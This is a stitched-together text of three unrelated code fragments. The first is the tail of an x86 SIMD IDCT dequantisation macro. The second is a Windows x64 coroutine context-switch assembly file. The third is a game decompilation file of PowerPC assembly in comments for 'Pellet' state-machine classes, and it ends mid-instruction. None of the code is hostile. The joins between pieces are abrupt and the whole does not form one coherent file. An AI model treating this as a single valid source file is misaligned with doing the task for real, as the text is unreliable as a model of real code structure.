DEQUANT_STORE xmm6 %else movd m6, t1d DEQUANT_STORE m6 %endif RET %endmacro INIT_MMX mmx IDCT_DC_DEQUANT 0 INIT_MMX sse2 IDCT_DC_DEQUANT 7
;; ;; This file is part of the "Coroutine" project and released under the MIT License. ;; ;; Created by Samuel Williams on 10/5/2018. ;; Copyright, 2018, by Samuel Williams. All rights reserved. ;; .code coroutine_transfer proc ; Save the thread information block: push qword ptr gs:[8] push qword ptr gs:[16] ; Save caller registers: push rbp push rbx push rdi push rsi push r12 push r13 push r14 push r15 movaps [rsp - 24], xmm6 movaps [rsp - 40], xmm7 movaps [rsp - 56], xmm8 movaps [rsp - 72], xmm9 movaps [rsp - 88], xmm10 movaps [rsp - 104], xmm11 movaps [rsp - 120], xmm12 movaps [rsp - 136], xmm13 movaps [rsp - 152], xmm14 movaps [rsp - 168], xmm15 ; Save caller stack pointer: mov [rcx], rsp ; Restore callee stack pointer: mov rsp, [rdx] movaps xmm15, [rsp - 168] movaps xmm14, [rsp - 152] movaps xmm13, [rsp - 136] movaps xmm12, [rsp - 120] movaps xmm11, [rsp - 104] movaps xmm10, [rsp - 88] movaps xmm9, [rsp - 72] movaps xmm8, [rsp - 56] movaps xmm7, [rsp - 40] movaps xmm6, [rsp - 24] ; Restore callee stack: pop r15 pop r14 pop r13 pop r12 pop rsi pop rdi pop rbx pop rbp ; Restore the thread information block: pop qword ptr gs:[16] pop qword ptr gs:[8] ; Put the first argument into the return value: mov rax, rcx ; We pop the return address and jump to it: ret coroutine_transfer endp coroutine_trampoline proc ; Do not remove this. This forces 16-byte alignment when entering the coroutine. ret coroutine_trampoline endp end
#include "types.h" /* * --INFO-- * Address: ........ * Size: 00009C */ void _Error(char*, ...) { // UNUSED FUNCTION } /* * --INFO-- * Address: ........ * Size: 0000F4 */ void _Print(char*, ...) { // UNUSED FUNCTION } /* * --INFO-- * Address: 8009A02C * Size: 000400 */ void PelletStateMachine::init(Pellet*) { /* .loc_0x0: mflr r0 stw r0, 0x4(r1) li r0, 0x6 stwu r1, -0x70(r1) stw r31, 0x6C(r1) addi r31, r3, 0 stw r30, 0x68(r1) stw r0, 0xC(r3) li r0, 0 stw r0, 0x8(r3) lwz r0, 0xC(r3) rlwinm r3,r0,2,0,29 bl -0x53058 stw r3, 0x4(r31) lwz r0, 0xC(r31) rlwinm r3,r0,2,0,29 bl -0x53068 stw r3, 0x10(r31) lwz r0, 0xC(r31) rlwinm r3,r0,2,0,29 bl -0x53078 stw r3, 0x14(r31) li r3, 0x10 bl -0x53084 addi r30, r3, 0 mr. r3, r30 beq- .loc_0x70 bl 0x500 .loc_0x70: lwz r4, 0x8(r31) lwz r0, 0xC(r31) cmpw r4, r0 bge- .loc_0xF0 lwz r3, 0x4(r31) rlwinm r0,r4,2,0,29 stwx r30, r3, r0 lwz r3, 0x4(r30) cmpwi r3, 0 blt- .loc_0xA4 lwz r0, 0xC(r31) cmpw r3, r0 blt- .loc_0xAC .loc_0xA4: li r0, 0 b .loc_0xB0 .loc_0xAC: li r0, 0x1 .loc_0xB0: rlwinm. r0,r0,0,24,31 beq- .loc_0xF0 stw r31, 0x8(r30) lwz r0, 0x8(r31) lwz r4, 0x4(r30) lwz r3, 0x10(r31) rlwinm r0,r0,2,0,29 stwx r4, r3, r0 lwz r0, 0x4(r30) lwz r4, 0x8(r31) lwz r3, 0x14(r31) rlwinm r0,r0,2,0,29 stwx r4, r3, r0 lwz r3, 0x8(r31) addi r0, r3, 0x1 stw r0, 0x8(r31) .loc_0xF0: li r3, 0x18 bl -0x5311C addi r30, r3, 0 mr. r3, r30 beq- .loc_0x108 bl 0x570 .loc_0x108: lwz r4, 0x8(r31) lwz r0, 0xC(r31) cmpw r4, r0 bge- .loc_0x188 lwz r3, 0x4(r31) rlwinm r0,r4,2,0,29 stwx r30, r3, r0 lwz r3, 0x4(r30) cmpwi r3, 0 blt- .loc_0x13C lwz r0, 0xC(r31) cmpw r3, r0 blt- .loc_0x144 .loc_0x13C: li r0, 0 b .loc_0x148 .loc_0x144: li r0, 0x1 .loc_0x148: rlwinm. r0,r0,0,24,31 beq- .loc_0x188 stw r31, 0x8(r30) lwz r0, 0x8(r31) lwz r4, 0x4(r30) lwz r3, 0x10(r31) rlwinm r0,r0,2,0,29 stwx r4, r3, r0 lwz r0, 0x4(r30) lwz r4, 0x8(r31) lwz r3, 0x14(r31) rlwinm r0,r0,2,0,29 stwx r4, r3, r0 lwz r3, 0x8(r31) addi r0, r3, 0x1 stw r0, 0x8(r31) .loc_0x188: li r3, 0x10 bl -0x531B4 addi r30, r3, 0 mr. r3, r30 beq- .loc_0x1A0 bl 0x424 .loc_0x1A0: lwz r4, 0x8(r31) lwz r0, 0xC(r31) cmpw r4, r0 bge- .loc_0x220 lwz r3, 0x4(r31) rlwinm r0,r4,2,0,29 stwx r30, r3, r0 lwz r3, 0x4(r30) cmpwi r3, 0 blt- .loc_0x1D4 lwz r0, 0xC(r31) cmpw r3, r0 blt- .loc_0x1DC .loc_0x1D4: li r0, 0 b .loc_0x1E0 .loc_0x1DC: li r0, 0x1 .loc_0x1E0: rlwinm. r0,r0,0,24,31 beq- .loc_0x220 stw r31, 0x8(r30) lwz r0, 0x8(r31) lwz r4, 0x4(r30) lwz r3, 0x10(r31) rlwinm r0,r0,2,0,29 stwx r4, r3, r0 lwz r0, 0x4(r30) lwz r4, 0x8(r31) lwz r3, 0x14(r31) rlwinm r0,r0,2,0,29 stwx r4, r3, r0 lwz r3, 0x8(r31) addi r0, r3, 0x1 stw r0, 0x8(r31) .loc_0x220: li r3, 0x38 bl -0x5324C addi r30, r3, 0 mr. r3, r30 beq- .loc_0x238 bl 0x5BC .loc_0x238: lwz r4, 0x8(r31) lwz r0, 0xC(r31) cmpw r4, r0 bge- .loc_0x2B8 lwz r3, 0x4(r31) rlwinm r0,r4,2,0,29 stwx r30, r3, r0 lwz r3, 0x4(r30) cmpwi r3, 0 blt- .loc_0x26C lwz r0, 0xC(r31) cmpw r3, r0 blt- .loc_0x274 .loc_0x26C: li r0, 0 b .loc_0x278 .loc_0x274: li r0, 0x1 .loc_0x278: rlwinm. r0,r0,0,24,31 beq- .loc_0x2B8 stw r31, 0x8(r30) lwz r0, 0x8(r31) lwz r4, 0x4(r30) lwz r3, 0x10(r31) rlwinm r0,r0,2,0,29 stwx r4, r3, r0 lwz r0, 0x4(r30) lwz r4, 0x8(r31) lwz r3, 0x14(r31) rlwinm r0,r0,2,0,29 stwx r4, r3, r0 lwz r3, 0x8(r31) addi r0, r3, 0x1 stw r0, 0x8(r31) .loc_0x2B8: li r3, 0x10 bl -0x532E4 addi r30, r3, 0 mr. r3, r30 beq- .loc_0x2D0 bl 0x248 .loc_0x2D0: lwz r4, 0x8(r31) lwz r0, 0xC(r31) cmpw r4, r0 bge- .loc_0x350 lwz r3, 0x4(r31) rlwinm r0,r4,2,0,29 stwx r30, r3, r0 lwz r3, 0x4(r30) cmpwi r3, 0 blt- .loc_0x304 lwz r0, 0xC(r31) cmpw r3, r0 blt- .loc_0x30C .loc_0x304: li r0, 0 b .loc_0x310 .loc_0x30C: li r0, 0x1 .loc_0x310: rlwinm. r0,r0,0,24,31 beq- .loc_0x350 stw r31, 0x8(r30) lwz r0, 0x8(r31) lwz r4, 0x4(r30) lwz r3, 0x10(r31) rlwinm r0,r0,2,0,29 stwx r4, r3, r0 lwz r0, 0x4(r30) lwz r4, 0x8(r31) lwz r3, 0x14(r31) rlwinm r0,r0,2,0,29 stwx r4, r3, r0 lwz r3, 0x8(r31) addi r0, r3, 0x1 stw r0, 0x8(r31) .loc_0x350: li r3, 0x14 bl -0x5337C addi r30, r3, 0 mr. r3, r30 beq- .loc_0x368 bl .loc_0x400 .loc_0x368: lwz r4, 0x8(r31) lwz r0, 0xC(r31) cmpw r4, r0 bge- .loc_0x3E8 lwz r3, 0x4(r31) rlwinm r0,r4,2,0,29 stwx r30, r3, r0 lwz r3, 0x4(r30) cmpwi r3, 0 blt- .loc_0x39C lwz r0, 0xC(r31) cmpw r3, r0 blt- .loc_0x3A4 .loc_0x39C: li r0, 0 b .loc_0x3A8 .loc_0x3A4: li r0, 0x1 .loc_0x3A8: rlwinm. r0,r0,0,24,31 beq- .loc_0x3E8 stw r31, 0x8(r30) lwz r0, 0x8(r31) lwz r4, 0x4(r30) lwz r3, 0x10(r31) rlwinm r0,r0,2,0,29 stwx r4, r3, r0 lwz r0, 0x4(r30) lwz r4, 0x8(r31) lwz r3, 0x14(r31) rlwinm r0,r0,2,0,29 stwx r4, r3, r0 lwz r3, 0x8(r31) addi r0, r3, 0x1 stw r0, 0x8(r31) .loc_0x3E8: lwz r0, 0x74(r1) lwz r31, 0x6C(r1) lwz r30, 0x68(r1) addi r1, r1, 0x70 mtlr r0 blr .loc_0x400: */ } /* * --INFO-- * Address: 8009A42C * Size: 00004C */ PelletUfoLoadState::PelletUfoLoadState() { /* .loc_0x0: lis r4, 0x802B addi r0, r4, 0xDD4 lis r4, 0x802B stw r0, 0x0(r3) addi r0, r4, 0xD84 stw r0, 0x0(r3) li r0, 0x5 lis r5, 0x802B stw r0, 0x4(r3) li r0, 0 lis r4, 0x802B stw r0, 0x8(r3) addi r0, r5, 0xD34 subi r5, r13, 0x55F8 stw r0, 0x0(r3) addi r0, r4, 0xCE4 stw r5, 0xC(r3) stw r0, 0x0(r3) blr */ } /* * --INFO-- * Address: 8009A478 * Size: 00000C */ void PelletUfoLoadState::init(Pellet*) { // Generated from stb r0, 0x10(r3) _10 = 8; } /* * --INFO-- * Address: 8009A484 * Size: 000070 */ void PelletUfoLoadState::exec(Pellet*) { /* .loc_0x0: mflr r0 stw r0, 0x4(r1) stwu r1, -0x28(r1) stw r31, 0x24(r1) addi r31, r4, 0 lbz r5, 0x10(r3) subi r4, r5, 0x1 rlwinm. r0,r4,0,24,31 stb r4, 0x10(r3) bne- .loc_0x44 lwz r12, 0x0(r3) addi r4, r31, 0 li r5, 0x2 lwz r12, 0x4C(r12) mtlr r12 blrl b .loc_0x5C .loc_0x44: lfs f1, 0x94(r31) li r4, 0x1 lfs f2, 0x9C(r31) lwz r3, 0x2F00(r13) bl -0x325D4 stfs f1, 0x98(r31) .loc_0x5C: lwz r0, 0x2C(r1) lwz r31, 0x24(r1) addi r1, r1, 0x28 mtlr r0 blr */ } /* * --INFO-- * Address: 8009A4F4 * Size: 000030 */ void AState<Pellet>::transit(Pellet*, int) { /* .loc_0x0: mflr r0 stw r0, 0x4(r1) stwu r1, -0x8(r1) lwz r3, 0x8(r3) lwz r12, 0x0(r3) lwz r12, 0x14(r12) mtlr r12 blrl lwz r0, 0xC(r1) addi r1, r1, 0x8 mtlr r0 blr */ } /* * --INFO-- * Address: 8009A524 * Size: 00001C */ void PelletUfoLoadState::cleanup(Pellet*) { /* .loc_0x0: lwz r0, 0xC8(r4) rlwinm r0,r0,0,10,8 stw r0, 0xC8(r4) lwz r0, 0xC8(r4) oris r0, r0, 0x40 stw r0, 0xC8(r4) blr */ } /* * --INFO-- * Address: 8009A540 * Size: 00004C */ PelletDeadState::PelletDeadState() { /* .loc_0x0: lis r4, 0x802B addi r0, r4, 0xDD4 lis r4, 0x802B stw r0, 0x0(r3) addi r0, r4, 0xD84 stw r0, 0x0(r3) li r0, 0x4 lis r5, 0x802B stw r0, 0x4(r3) li r0, 0 lis r4, 0x802B stw r0, 0x8(r3) addi r0, r5, 0xD34 subi r5, r13, 0x55F0 stw r0, 0x0(r3) addi r0, r4, 0xC64 stw r5, 0xC(r3) stw r0, 0x0(r3) blr */ } /* * --INFO-- * Address: 8009A58C * Size: 000004 */ void PelletDeadState::init(Pellet*) { } /* * --INFO-- * Address: 8009A590 * Size: 000004 */ void PelletDeadState::exec(Pellet*) { } /* * --INFO-- * Address: 8009A594 * Size: 000004 */ void PelletDeadState::cleanup(Pellet*) { } /* * --INFO-- * Address: 8009A598 * Size: 000048 */ PelletNormalState::PelletNormalState() { /* .loc_0x0: lis r4, 0x802B addi r0, r4, 0xDD4 lis r4, 0x802B stw r0, 0x0(r3) addi r0, r4, 0xD84 stw r0, 0x0(r3) li r0, 0 lis r5, 0x802B stw r0, 0x4(r3) addi r6, r5, 0xD34 subi r5, r13, 0x55E8 stw r0, 0x8(r3) lis r4, 0x802B addi r0, r4, 0xBE8 stw r6, 0x0(r3) stw r5, 0xC(r3) stw r0, 0x0(r3) blr */ } /* * --INFO-- * Address: 8009A5E0 * Size: 000004 */ void PelletNormalState::init(Pellet*) { } /* * --INFO-- * Address: 8009A5E4 * Size: 000004 */ void PelletNormalState::exec(Pellet*) { } /* * --INFO-- * Address: 8009A5E8 * Size: 000004 */ void PelletNormalState::cleanup(Pellet*) { } /* * --INFO-- * Address: 8009A5EC * Size: 000050 */ PelletSwallowedState::PelletSwallowedState() { /* .loc_0x0: lis r4, 0x802B addi r0, r4, 0xDD4 lis r4, 0x802B stw r0, 0x0(r3) addi r0, r4, 0xD84 stw r0, 0x0(r3) li r0, 0x3 lis r5, 0x802B stw r0, 0x4(r3) li r0, 0 lis r4, 0x802B stw r0, 0x8(r3) addi r0, r4, 0xD34 addi r5, r5, 0x9DC stw r0, 0x0(r3) lis r4, 0x802B addi r0, r4, 0xB68 stw r5, 0xC(r3) stw r0, 0x0(r3) blr */ } /* * --INFO-- * Address: 8009A63C * Size: 000004 */ void PelletSwallowedState::init(Pellet*) { } /* * --INFO-- * Address: 8009A640 * Size: 00003C */ void PelletSwallowedState::exec(Pellet*) { /* .loc_0x0: mflr r0 stw r0, 0x4(r1) stwu r1, -0x8(r1) lwz r0, 0xC8(r4) rlwinm. r0,r0,0,16,16 bne- .loc_0x2C lwz r12, 0x0(r3) li r5, 0 lwz r12, 0x4C(r12) mtlr r12 blrl .loc_0x2C: lwz r0, 0xC(r1) addi r1, r1, 0x8 mtlr r0 blr */ } /* * --INFO-- * Address: 8009A67C * Size: 000024 */ void PelletSwallowedState::cleanup(Pellet*) { /* .loc_0x0: mflr r0 mr r3, r4 stw r0, 0x4(r1) stwu r1, -0x8(r1) bl -0xA670 lwz r0, 0xC(r1) addi r1, r1, 0x8 mtlr r0 blr */ } /* * --INFO-- * Address: 8009A6A0 * Size: 00004C */ PelletAppearState::PelletAppearState() { /* .loc_0x0: lis r4, 0x802B addi r0, r4, 0xDD4 lis r4, 0x802B stw r0, 0x0(r3) addi r0, r4, 0xD84 stw r0, 0x0(r3) li r0, 0x2 lis r5, 0x802B stw r0, 0x4(r3) li r0, 0 lis r4, 0x802B stw r0, 0x8(r3) addi r0, r5, 0xD34 subi r5, r13, 0x55E0 stw r0, 0x0(r3) addi r0, r4, 0xAE4 stw r5, 0xC(r3) stw r0, 0x0(r3) blr */ } /* * --INFO-- * Address: 8009A6EC * Size: 000030 */ void PelletAppearState::init(Pellet*) { /* .loc_0x0: lwz r5, 0x55C(r4) lfs f0, -0x7368(r2) lfs f1, 0xFC(r5) stfs f0, 0x10(r3) lfs f0, 0x10(r3) fmuls f0, f0, f1 stfs f0, 0x7C(r4) stfs f0, 0x80(r4) stfs f0, 0x84(r4) lfs f0, -0x7364(r2) stfs f0, 0x14(r3) blr */ } /* * --INFO-- * Address: 8009A71C * Size: 000030 */ void PelletAppearState::procBounceMsg(Pellet*, MsgBounce*) { /* .loc_0x0: mflr r0 li r5, 0 stw r0, 0x4(r1) stwu r1, -0x8(r1) lwz r12, 0x0(r3) lwz r12, 0x4C(r12) mtlr r12 blrl lwz r0, 0xC(r1) addi r1, r1, 0x8 mtlr r0 blr */ } /* * --INFO-- * Address: 8009A74C * Size: 0000CC */ void PelletAppearState::exec(Pellet*) { /* .loc_0x0: mflr r0 stw r0, 0x4(r1) li r0, 0 stwu r1, -0x8(r1) lwz r5, 0x55C(r4) lfs f3, 0xFC(r5) stb r0, 0x43D(r4) lwz r5, 0x2DEC(r13) lfs f1, -0x7360(r2) lfs f0, 0x28C(r5) lfs f2, 0x10(r3) fmuls f0, f1, f0 fadds f0, f2, f0 stfs f0, 0x10(r3) lfs f1, 0x10(r3) lfs f0, -0x735C(r2) fcmpo cr0, f1, f0 cror 2, 0x1, 0x2 bne- .loc_0x60 stfs f0, 0x10(r3) stfs f3, 0x7C(r4) stfs f3, 0x80(r4) stfs f3, 0x84(r4) b .loc_0x70 .loc_0x60: fmuls f0, f1, f3 stfs f0, 0x7C(r4) stfs f0, 0x80(r4) stfs f0, 0x84(r4) .loc_0x70: lfs f1, 0x10(r3) lfs f0, -0x735C(r2) fcmpo cr0, f1, f0 cror 2, 0x1, 0x2 bne- .loc_0xBC lwz r5, 0x2DEC(r13) lfs f1, 0x14(r3) lfs f0, 0x28C(r5) fsubs f0, f1, f0 stfs f0, 0x14(r3) lfs f1, 0x14(r3) lfs f0, -0x7358(r2) fcmpo cr0, f1, f0 bge- .loc_0xBC lwz r12, 0x0(r3) li r5, 0 lwz r12, 0x4C(r12) mtlr r12 blrl .loc_0xBC: lwz r0, 0xC(r1) addi r1, r1, 0x8 mtlr r0 blr */ } /* * --INFO-- * Address: 8009A818 * Size: 000004 */ void PelletAppearState::cleanup(Pellet*) { } /* * --INFO-- * Address: 8009A81C * Size: 00005C */ PelletGoalState::PelletGoalState() { /* .loc_0x0: lis r4, 0x802B addi r0, r4, 0xDD4 lis r4, 0x802B stw r0, 0x0(r3) addi r0, r4, 0xD84 stw r0, 0x0(r3) li r0, 0x1 lis r5, 0x802B stw r0, 0x4(r3) li r0, 0 lis r4, 0x802B stw r0, 0x8(r3) addi r0, r5, 0xD34 subi r5, r13, 0x55D8 stw r0, 0x0(r3) addi r0, r4, 0xA64 stw r5, 0xC(r3) stw r0, 0x0(r3) lfs f0, -0x7358(r2) stfs f0, 0x2C(r3) stfs f0, 0x28(r3) stfs f0, 0x24(r3) blr */ } /* * --INFO-- * Address: 8009A878 * Size: 00057C */ void PelletGoalState::init(Pellet*) { /* .loc_0x0: mflr r0 stw r0, 0x4(r1) li r0, 0 stwu r1, -0x180(r1) stw r31, 0x17C(r1) mr r31, r4 stw r30, 0x178(r1) addi r30, r3, 0 stw r29, 0x174(r1) stw r28, 0x170(r1) stb r0, 0x31(r3) lwz r3, 0x458(r4) lwz r0, 0x6C(r3) cmpwi r0, 0x1E bne- .loc_0x148 li r0, 0x1 stb r0, 0x31(r30) li r4, 0xD lwz r3, 0x2F6C(r13) addi r3, r3, 0x54 bl -0x18404 rlwinm. r0,r3,0,24,31 bne- .loc_0xA0 lis r3, 0x803A subi r3, r3, 0x2848 li r0, -0x1 sth r0, 0x1E0(r3) sth r0, 0x1E2(r3) lwz r3, 0x30AC(r13) bl 0x5834C lwz r4, 0x2F6C(r13) addi r5, r3, 0 addi r3, r4, 0x54 li r4, 0xD bl -0x183E4 lwz r3, 0x2F6C(r13) li r4, 0xC addi r3, r3, 0x54 bl -0x181C0 b .loc_0x13C .loc_0xA0: lwz r3, 0x2F6C(r13) bl -0x191AC subfic r0, r3, 0x1 cntlzw r0, r0 rlwinm r29,r0,27,5,31 li r28, 0 .loc_0xB8: lwz r3, 0x2F6C(r13) bl -0x191C4 addi r28, r28, 0x1 cmpwi r28, 0x1E blt+ .loc_0xB8 lwz r3, 0x55C(r31) lwz r3, 0x2C(r3) bl -0x5E38 rlwinm. r0,r29,0,24,31 lis r4, 0x803A extsh r0, r3 subi r3, r4, 0x2848 sth r0, 0x1E0(r3) beq- .loc_0xF8 li r0, 0x2 b .loc_0xFC .loc_0xF8: li r0, 0 .loc_0xFC: lis r3, 0x803A extsh r0, r0 subi r3, r3, 0x2848 sth r0, 0x1E2(r3) addi r6, r31, 0 addi r7, r31, 0x94 lwz r3, 0x1E8(r3) addi r8, r31, 0x88 li r4, 0x4F lwz r12, 0x0(r3) li r5, 0 li r9, -0x1 lwz r12, 0xC(r12) li r10, 0x1 mtlr r12 blrl .loc_0x13C: lwz r3, 0x2F6C(r13) bl -0x191F0 b .loc_0x18C .loc_0x148: lis r3, 0x803A subi r3, r3, 0x24E0 lwz r3, 0xA8(r3) lhz r0, 0x26(r3) cmplwi r0, 0 bne- .loc_0x18C lwz r3, 0x2F6C(r13) li r4, 0xA addi r3, r3, 0x54 bl -0x18520 rlwinm. r0,r3,0,24,31 bne- .loc_0x18C lwz r3, 0x2F6C(r13) addi r5, r31, 0 li r4, 0xA addi r3, r3, 0x54 bl -0x184E4 .loc_0x18C: mr r3, r31 lfs f1, -0x7354(r2) bl -0x4064 lwz r4, 0x458(r31) addi r3, r1, 0xA8 lwz r12, 0x0(r4) lwz r12, 0x15C(r12) mtlr r12 blrl lwz r4, 0x458(r31) addi r3, r1, 0xB4 lwz r12, 0x0(r4) lwz r12, 0x164(r12) mtlr r12 blrl lfs f3, 0xB8(r1) lfs f2, 0xAC(r1) lfs f1, 0xB4(r1) lfs f0, 0xA8(r1) fsubs f3, f3, f2 lfs f2, 0xBC(r1) fsubs f4, f1, f0 lfs f0, 0xB0(r1) fmuls f1, f3, f3 fsubs f3, f2, f0 lfs f0, -0x7358(r2) fmuls f2, f4, f4 fmuls f3, f3, f3 fadds f1, f2, f1 fadds f4, f3, f1 fcmpo cr0, f4, f0 ble- .loc_0x264 fsqrte f1, f4 lfd f3, -0x7350(r2) lfd f2, -0x7348(r2) fmul f0, f1, f1 fmul f1, f3, f1 fmul f0, f4, f0 fsub f0, f2, f0 fmul f1, f1, f0 fmul f0, f1, f1 fmul f1, f3, f1 fmul f0, f4, f0 fsub f0, f2, f0 fmul f1, f1, f0 fmul f0, f1, f1 fmul f1, f3, f1 fmul f0, f4, f0 fsub f0, f2, f0 fmul f0, f1, f0 fmul f0, f4, f0 frsp f0, f0 stfs f0, 0x58(r1) lfs f4, 0x58(r1) .loc_0x264: stfs f4, 0x14(r30) lfs f1, -0x7358(r2) stfs f1, 0x10(r30) lfs f0, -0x7340(r2) stfs f0, 0x18(r30) lwz r0, 0xC8(r31) ori r0, r0, 0x80 stw r0, 0xC8(r31) stfs f1, 0x74(r31) lwz r4, 0x458(r31) lwz r0, 0x6C(r4) cmpwi r0, 0x1E beq- .loc_0x30C lwz r12, 0x0(r4) addi r3, r1, 0x9C lwz r12, 0x15C(r12) mtlr r12 blrl lfs f1, -0x7358(r2) addi r4, r1, 0x12C lfs f0, 0x9C(r1) li r3, 0 stfs f1, 0x134(r1) lfs f3, 0xA0(r1) stfs f1, 0x130(r1) lfs f2, 0xA4(r1) stfs f0, 0x158(r1) lfs f0, -0x735C(r2) stfs f1, 0x12C(r1) stfs f3, 0x15C(r1) stfs f2, 0x160(r1) stfs f1, 0x140(r1) lwz r6, 0x158(r1) stfs f1, 0x13C(r1) lwz r5, 0x15C(r1) stfs f1, 0x138(r1) lwz r0, 0x160(r1) stw r6, 0x12C(r1) stw r5, 0x130(r1) stw r0, 0x134(r1) stfs f0, 0x150(r1) bl 0x79760 .loc_0x30C: lfs f0, 0x7C(r31) addi r3, r31, 0 li r5, 0xCB stfs f0, 0x1C(r30) lwz r4, 0x458(r31) bl -0x105E4 lfs f2, 0x2B8(r31) lfs f0, -0x55D0(r13) lfs f1, -0x55CC(r13) fadds f2, f2, f0 lfs f0, -0x55C8(r13) stfs f2, 0x60(r1) lfs f2, 0x60(r1) stfs f2, 0x90(r1) lfs f2, 0x2BC(r31) fadds f1, f2, f1 stfs f1, 0x94(r1) lfs f1, 0x2C0(r31) fadds f0, f1, f0 stfs f0, 0x98(r1) lwz r3, 0x90(r1) lwz r0, 0x94(r1) stw r3, 0x2B8(r31) stw r0, 0x2BC(r31) lwz r0, 0x98(r1) stw r0, 0x2C0(r31) lwz r4, 0x458(r31) lwz r0, 0x6C(r4) cmpwi r0, 0x1E bne- .loc_0x44C lwz r12, 0x0(r4) addi r3, r1, 0x78 lwz r12, 0x15C(r12) mtlr r12 blrl lfs f0, 0x78(r1) addi r3, r1, 0x6C lfs f1, 0x7C(r1) stfs f0, 0x120(r1) lfs f0, 0x80(r1) stfs f1, 0x124(r1) stfs f0, 0x128(r1) lwz r4, 0x458(r31) lwz r12, 0x0(r4) lwz r12, 0x164(r12) mtlr r12 blrl lfs f0, -0x7358(r2) addi r4, r1, 0xE8 lfs f3, 0x6C(r1) li r3, 0x15 stfs f0, 0xF0(r1) lfs f2, 0x70(r1) stfs f0, 0xEC(r1) lfs f1, 0x74(r1) stfs f3, 0x114(r1) stfs f0, 0xE8(r1) stfs f2, 0x118(r1) stfs f0, 0xFC(r1) stfs f1, 0x11C(r1) stfs f0, 0xF8(r1) stfs f0, 0xF4(r1) lwz r0, 0x120(r1) lwz r5, 0x124(r1) stw r0, 0xE8(r1) lwz r0, 0x128(r1) stw r5, 0xEC(r1) lwz r5, 0x114(r1) stw r0, 0xF0(r1) lwz r0, 0x118(r1) stw r5, 0xF4(r1) stw r0, 0xF8(r1) lwz r0, 0x11C(r1) stw r0, 0xFC(r1) lfs f0, -0x735C(r2) stfs f0, 0x10C(r1) bl 0x7962C li r3, 0x16 addi r4, r1, 0xE8 bl 0x79620 .loc_0x44C: addi r3, r1, 0xD8 addi r4, r31, 0 bl -0xA048 addi r30, r1, 0xD8 addi r3, r30, 0 lwz r12, 0x0(r30) lwz r12, 0xC(r12) mtlr r12 blrl mr r29, r3 b .loc_0x4D8 .loc_0x478: cmpwi r29, -0x1 bne- .loc_0x49C mr r3, r30 lwz r12, 0x0(r30) li r4, 0 lwz r12, 0x8(r12) mtlr r12 blrl b .loc_0x4B4 .loc_0x49C: mr r3, r30 lwz r12, 0x0(r30) mr r4, r29 lwz r12, 0x8(r12) mtlr r12 blrl .loc_0x4B4: lwz r3, 0x6C(r3) bl -0x62F8 mr r3, r30 lwz r12, 0x0(r30) mr r4, r29 lwz r12, 0x10(r12) mtlr r12 blrl mr r29, r3 .loc_0x4D8: mr r3, r30 lwz r12, 0x0(r30) mr r4, r29 lwz r12, 0x14(r12) mtlr r12 blrl rlwinm. r0,r3,0,24,31 beq- .loc_0x500 li r0, 0x1 b .loc_0x52C .loc_0x500: mr r3, r30 lwz r12, 0x0(r30) mr r4, r29 lwz r12, 0x8(r12) mtlr r12 blrl cmplwi r3, 0 bne- .loc_0x528 li r0, 0x1 b .loc_0x52C .loc_0x528: li r0, 0 .loc_0x52C: rlwinm. r0,r0,0,24,31 beq+ .loc_0x478 lwz r3, 0x55C(r31) lwz r0, 0x5C(r3) cmpwi r0, 0x3 bne- .loc_0x55C lwz r3, 0x458(r31) mr r4, r31 lwz r12, 0x0(r3) lwz r12, 0x168(r12) mtlr r12 blrl .loc_0x55C: lwz r0, 0x184(r1) lwz r31, 0x17C(r1) lwz r30, 0x178(r1) lwz r29, 0x174(r1) lwz r28, 0x170(r1) addi r1, r1, 0x180 mtlr r0 blr */ } /* * --INFO-- * Address: 8009ADF4 * Size: 0002D4 */ void PelletGoalState::exec(Pellet*) { /* .loc_0x0: mflr r0 stw r0, 0x4(r1) stwu r1, -0x118(r1) stw r31, 0x114(r1) mr r31, r4 stw r30, 0x110(r1) mr r30, r3 lfs f0, -0x7358(r2) lfs f1, 0x18(r3) fcmpo cr0, f1, f0 ble- .loc_0x54 stfs f0, 0x78(r31) li r0, 0x1 stfs f0, 0x70(r31) lwz r3, 0x2DEC(r13) lfs f1, 0x18(r30) lfs f0, 0x28C(r3) fsubs f0, f1, f0 stfs f0, 0x18(r30) stb r0, 0x30(r30) b .loc_0x2BC .loc_0x54: lbz r0, 0x30(r30) cmplwi r0, 0 beq- .loc_0x144 lwz r5, 0x94(r31) li r0, 0 lwz r4, 0x98(r31) addi r3, r1, 0xE0 stw r5, 0x24(r30) stw r4, 0x28(r30) lwz r4, 0x9C(r31) stw r4, 0x2C(r30) stfs f0, 0x20(r30) stb r0, 0x30(r30) lwz r4, 0x458(r31) lwz r12, 0x0(r4) lwz r12, 0x164(r12) mtlr r12 blrl lfs f3, 0xE4(r1) lfs f2, 0x28(r30) lfs f1, 0xE0(r1) lfs f0, 0x24(r30) fsubs f3, f3, f2 lfs f2, 0xE8(r1) fsubs f4, f1, f0 lfs f0, 0x2C(r30) fmuls f1, f3, f3 fsubs f3, f2, f0 lfs f0, -0x7358(r2) fmuls f2, f4, f4 fmuls f3, f3, f3 fadds f1, f2, f1 fadds f4, f3, f1 fcmpo cr0, f4, f0 ble- .loc_0x138 fsqrte f1, f4 lfd f3, -0x7350(r2) lfd f2, -0x7348(r2) fmul f0, f1, f1 fmul f1, f3, f1 fmul f0, f4, f0 fsub f0, f2, f0 fmul f1, f1, f0 fmul f0, f1, f1 fmul f1, f3, f1 fmul f0, f4, f0 fsub f0, f2, f0 fmul f1, f1, f0 fmul f0, f1, f1 fmul f1, f3, f1 fmul f0, f4, f0 fsub f0, f2, f0 fmul f0, f1, f0 fmul f0, f4, f0 frsp f0, f0 stfs f0, 0x88(r1) lfs f4, 0x88(r1) .loc_0x138: stfs f4, 0x14(r30) lfs f0, -0x7358(r2) stfs f0, 0x34(r30) .loc_0x144: lwz r4, 0x458(r31) addi r3, r1, 0xC8 lwz r12, 0x0(r4) lwz r12, 0x164(r12) mtlr r12 blrl lfs f0, 0xC8(r1) lfs f7, 0x24(r30) lfs f4, 0x20(r30) fsubs f0, f0, f7 lfs f5, 0x2C(r30) lfs f2, 0xD0(r1) lfs f6, 0x28(r30) fmuls f0, f0, f4 lfs f1, 0xCC(r1) fsubs f2, f2, f5 stfs f0, 0xA4(r1) fsubs f1, f1, f6 fmuls f3, f2, f4 lfs f0, 0xA4(r1) fmuls f1, f1, f4 fadds f2, f7, f0 fadds f0, f5, f3 fadds f1, f6, f1 stfs f2, 0x98(r1) lfs f2, 0x98(r1) stfs f2, 0xBC(r1) stfs f1, 0xC0(r1) stfs f0, 0xC4(r1) lwz r3, 0xBC(r1) lwz r0, 0xC0(r1) stw r3, 0x94(r31) stw r0, 0x98(r31) lwz r0, 0xC4(r1) stw 